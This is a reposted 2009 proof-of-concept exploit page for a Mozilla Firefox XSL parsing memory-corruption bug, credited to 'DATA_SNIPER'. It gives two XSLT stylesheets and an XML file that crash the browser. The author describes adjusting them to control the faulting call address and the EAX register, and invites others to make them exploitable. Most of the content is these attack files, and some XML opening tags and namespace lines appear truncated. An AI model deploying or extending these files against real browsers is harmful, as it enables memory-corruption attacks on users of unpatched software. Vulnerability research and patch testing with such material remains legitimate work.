|
Mozilla Firefox XSL Parsing Remote Memory Corruption PoC #2
|
|
来源：www.vfcocus.net 作者：DATA_SNIPER 发布时间：2009-04-07
|
|
-------------
by DATA_SNIPER
GREETZ TO THE FOUNDER ;)
fore more information and bug analyses:
http://www.at4re.com/f/showthread.php?p=47560
i tray to manipulate the POC for new idea,you now that the call is calling invalid address [00000000]
so i can change it to [00000031] ,i konw it's usless but it can make diffrent when some smart can exploit it by changing some things in the exploit.
and the second code change the EAX to 017ED9A0.
xslt.xsl code EAX=00000031:
<?xml version="1.0" encoding="UTF-8"?>
http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item1" use=""/>
<xsl:template match="root">
<xsl:for-each select="key('label', @item1)">
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
xslt.xsl code EAX=017ED9A0:
<?xml version="1.0" encoding="UTF-8"?>
http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item1" use=""/>
<xsl:template match="root">
<xsl:value-of select="key('label', @item1)">
</xsl:value-of>
</xsl:template>
</xsl:stylesheet>
xmlcrash.xml code:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
http://www.w3.org/2001/XMLSchema-instance">
<item1 id="datasniper" />
</root>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
